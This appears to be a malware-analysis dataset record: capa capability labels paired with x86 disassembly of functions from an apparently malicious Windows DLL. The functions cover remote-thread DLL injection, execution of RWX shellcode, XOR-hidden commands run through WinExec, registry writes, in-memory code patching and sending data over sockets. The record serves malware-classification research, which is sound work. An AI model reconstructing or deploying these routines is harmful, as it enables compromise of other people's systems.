joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006c50
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10033ad0
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10191ffc
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x10091fe4], 0xffffffff
je 0x10006d58
cmp byte [0x10192018], 0
je 0x10006d58
push 0x80000
lea eax, [ebp - 0x80008]
push 0
push eax
call fcn.10023e30
add esp, 0xc
push esi
lea ecx, [ebp - 0x80008]
push edi
push ecx
call fcn.10023590
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x10006cec
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x10006d18
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x10006cd2
jmp 0x10006d18
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x10006d18
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x10006d00
mov ecx, dword [0x10191ff0]
test ecx, ecx
jle 0x10006db1
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10006d76
push eax
push 0x1004a538
call fcn.100040a0
add esp, 4
push eax
push 0
mov ecx, 0x10090f80
call fcn.10004750
add esp, 0xc
mov esi, 0x10091fe0
call fcn.10006980
push 0x10191ffc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x80008]
push eax
lea ecx, [ecx + 0x10111ff0]
push ecx
call fcn.10023590
add esp, 0xc
add dword [0x10191ff0], esi
push 0x10191ffc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x10006d93
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov eax, dword [0x10091fe4]
push 0
push esi
lea edx, [ebp + edi - 0x80008]
push edx
push eax
call ebx
cmp eax, 0xffffffff
je 0x10006ddf
sub esi, eax
add edi, eax
test esi, esi
jg 0x10006dbd
jmp 0x10006d93
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10006e1e
mov ecx, dword [0x10191ff0]
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10006e09
push eax
push 0x1004a638
jmp 0x10006d36
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [ecx + 0x10111ff0]
push eax
jmp 0x10006d85
call ebx
push eax
push 0x1004a738
jmp 0x10006d36
Function at 0x10006e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10006e88
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10006e97
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10006e58
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006ece
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call fcn.10020b10
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x1004a838
call fcn.100040a0
add esp, 4
push eax
push 0
mov ecx, 0x10090f80
call fcn.10004750
mov eax, dword [esi + 4]
add esp, 0xc
cmp eax, 0xffffffff
je 0x10006f08
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10006f1d
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
mov eax, dword [ebp - 4]
push eax
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007530
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x584
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x48]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x580], esi
call fcn.10023e30
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x560]
push 0
push ecx
call fcn.10023e30
add esp, 0xc
push 0x208
lea edx, [ebp - 0x358]
push 0
push edx
call fcn.10023e30
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x10007713
push 0x104
lea eax, [ebp - 0x560]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1000770c
lea ecx, [ebp - 0x358]
push ecx
lea ecx, [ebp - 0x560]
call fcn.100040f0
add esp, 4
test al, al
je 0x1000770c
push 0x40
lea edx, [ebp - 0x48]
push 0
push edx
call fcn.10023e30
add esp, 0xc
lea esi, [ebp - 0x560]
mov word [ebp - 0x57c], 0x5325
mov byte [ebp - 0x57a], 0
call fcn.10004340
push eax
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x358]
call fcn.100065b0
test al, al
jne 0x1000769c
mov edi, 0x7dbcc61a
lea esi, [ebp - 0x578]
call fcn.1001afd0
mov ecx, dword [ebp - 0x580]
push ecx
push eax
lea edx, [ebp - 0x150]
push edx
call fcn.100206fd
add esp, 0xc
push 0
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [ebp - 0x150]
push 0
push ecx
call fcn.10023e30
add esp, 0xc
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x358]
push edx
lea ecx, [ebp - 0x48]
call fcn.10007170
test al, al
jne 0x100076d6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
lea esi, [ebp - 0x48]
call fcn.1000c0a0
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
call fcn.100073e0
test al, al
jne 0x1000770c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
lea esi, [ebp - 0x48]
call fcn.1000c0a0
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10007b40
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10033ad0
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10007b91
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x10007bf6
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10007bf1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007be8
test dl, dl
je 0x10007be4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10007be8
add eax, 2
add ecx, 2
test dl, dl
jne 0x10007bc8
xor eax, eax
jmp 0x10007bed
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007c0a
inc esi
cmp esi, edi
jl 0x10007ba0
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.100204ba
mov esp, ebp
pop ebp
ret 4

Function at 0x10007c20
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10007c5c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10007c63
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10041b40
push 0x100416b0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007c4e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10007c4e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10007c56
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x10007e50
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x10193270
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x10193270
call fcn.10023590
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x10193270
call esi
push 0
push 0
push 0
push 0x10007df0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007f20
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10023e30
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x10049e38
call fcn.100040a0
add esp, 4
push eax
push 0
mov ecx, 0x10090f80
call fcn.10004750
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10008590
Capabilities:
Check if file exists
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x10048650]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
mov ecx, 0xf
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.LMEZZQY_KEYnnnqmSLLVPH]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x100085c0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x44], 0
call ebx
test eax, eax
jne 0x1000867b
mov ecx, 0x15
jmp 0x10008600
mov dl, byte [eax + str.V_Kxnz_pg_wHDF]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10008600
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x2b], 0
call ebx
test eax, eax
jne 0x1000867b
mov edi, 0x68b096d8
lea esi, [esp + 0x84]
call fcn.1001b3e0
push eax
call ebx
test eax, eax
jne 0x1000867b
mov edi, 0x10041ccc
sub edi, 0x32593faf
lea esi, [esp + 0x64]
call fcn.1001b410
push eax
call ebx
test eax, eax
jne 0x1000867b
mov edi, str.S_Kxnz_pg_wHDF
sub edi, 0x43f2140e
lea esi, [esp + 0x74]
call fcn.1001b440
push eax
call ebx
test eax, eax
jne 0x1000867b
xor al, al
jmp 0x1000867d
mov al, 1
test al, al
jne 0x1000878b
mov ecx, 6
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10008690
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x77], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10008711
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x75526f4e
mov word [esp + 0x34], 0x6e
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov ecx, 0xa1
xor eax, eax
jmp 0x10008720
mov dl, byte [eax + 0x10041d28]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x10008720
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x66], 0
call esi
test eax, eax
jne 0x1000878b
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov dword [esp + 0x18], eax
push eax
mov ecx, 0x10041d54
sub ecx, 0x38d41ae2
lea eax, [esp + 0x28]
call fcn.1001b470
push eax
mov eax, dword [esp + 0x24]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10009e60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bf78
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10048650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101920a8]
cmp eax, 0x927c0
jb 0x10009ea3
call esi
mov dword [0x101920a8], eax
xor esi, esi
cmp dword [0x10192094], esi
je 0x10009f14
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x10192098]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.10009c40
mov edi, dword [ebp - 0x20]
test al, al
je 0x10009efd
cmp edi, dword [ebp - 0x1c]
je 0x10009efd
lea ecx, [ebp - 0x20]
push ecx
call fcn.10009f30
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x10009f14
push edi
call fcn.100204af
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a170
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003bfa8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x10048650]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101920a8]
cmp eax, 0x927c0
jb 0x1000a1b7
call esi
mov dword [0x101920a8], eax
xor esi, esi
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push 0x14
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x48], esi
call fcn.10009c40
mov edi, dword [esp + 0x14]
test al, al
jne 0x1000a208
cmp edi, dword [esp + 0x18]
jne 0x1000a212
lea eax, [esp + 0x14]
push eax
call fcn.1000a300
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a22a
push edi
call fcn.100204af
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a240
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bf78
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10048650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101920a8]
cmp eax, 0x927c0
jb 0x1000a283
call esi
mov dword [0x101920a8], eax
xor esi, esi
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
push 0x14
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 4], esi
call fcn.10009c40
mov edi, dword [ebp - 0x20]
test al, al
jne 0x1000a2c7
cmp edi, dword [ebp - 0x1c]
jne 0x1000a2d0
lea eax, [ebp - 0x20]
push eax
call fcn.1000a300
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a2e7
push edi
call fcn.100204af
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ac40
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
movzx eax, byte [ecx + 4]
push edi
cmp eax, 5
ja case.default.0x1000ac4e
jmp dword [eax*4 + 0x1000acf4]
pop edi
jmp fcn.10008590
cmp dword [0x101933d4], 0
jne case.default.0x1000ac4e
xor ecx, ecx
mov edi, 0x10008d20
mov dword [0x101933d4], 1
call fcn.10003c00
pop edi
ret
cmp dword [0x101933d4], 0
jne case.default.0x1000ac4e
xor ecx, ecx
mov edi, 0x10008d20
mov dword [0x101933d4], 2
call fcn.10003c00
pop edi
ret
cmp dword [0x101933d4], 0
jne case.default.0x1000ac4e
xor ecx, ecx
mov edi, 0x10008d20
mov dword [0x101933d4], 3
call fcn.10003c00
pop edi
ret
cmp dword [0x101933d4], 0
jne case.default.0x1000ac4e
xor ecx, ecx
mov edi, 0x10008d20
mov dword [0x101933d4], 4
call fcn.10003c00
pop edi
ret
cmp byte [ecx + 0x10], 0
setne al
mov byte [0x101936c4], al
pop edi
ret
Function at 0x1000c2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c508
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x75
xor eax, eax
mov bl, byte [eax + 0x10042108]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x34], bl
inc eax
and ecx, 0xff
cmp eax, 0x21
jb 0x1000c312
mov byte [ebp - 0x13], dl
push 0x1388
lea eax, [ebp - 0x34]
push eax
push 2
mov eax, 0x10091eb8
mov dword [ebp - 4], edx
call fcn.10005030
add esp, 0xc
call fcn.10003da0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x1000c370
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x49
xor eax, eax
mov dl, byte [eax + str.:__8__8_q]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x1000c387
push 0
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10003da0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x1000cf80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
xor edi, edi
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xe8
cmp dword [ebp - 0x1c], edi
jbe 0x1000d04c
push esi
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000cfe3
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000d045
inc eax
cmp eax, 0xb
jl 0x1000cfd2
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000cff5
cmp al, 1
jne 0x1000d045
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000d001
cmp al, 1
jne 0x1000d045
mov eax, dword [ebx + edi + 0xb]
lea esi, [ebx + edi + 0xa]
lea ecx, [eax + esi + 5]
cmp ecx, 0x404d70
jne 0x1000d045
lea edx, [ebp - 0x14]
push edx
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push ecx
push edx
mov eax, 0x1000cf30
sub eax, esi
push 5
sub eax, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000cfd0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x1000d060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp ebx, edi
je 0x1000d12c
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push 0xc
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov dword [ebp - 0x10], 0xff6aff6a
mov dword [ebp - 0xc], 0xffffffff
mov word [ebp - 8], 0xffff
mov byte [ebp - 6], 0xff
cmp dword [ebp - 0x1c], edi
jbe 0x1000d12c
push esi
jmp 0x1000d0c0
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
cmp cl, 0xff
je 0x1000d0d3
lea edx, [eax + ebx]
cmp byte [edx + edi], cl
jne 0x1000d125
inc eax
cmp eax, 0xb
jl 0x1000d0c2
mov al, byte [ebx + edi + 1]
test al, al
je 0x1000d0e5
cmp al, 1
jne 0x1000d125
mov al, byte [ebx + edi + 3]
test al, al
je 0x1000d0f1
cmp al, 1
jne 0x1000d125
cmp dword [ebx + edi + 5], 0x404d70
lea esi, [ebx + edi + 5]
jne 0x1000d125
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x14]
push ecx
push edx
push 4
push esi
mov dword [esi], 0x1000cf30
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, dword [ebp - 0x1c]
jb 0x1000d0c0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100204ba
mov esp, ebp
pop ebp
ret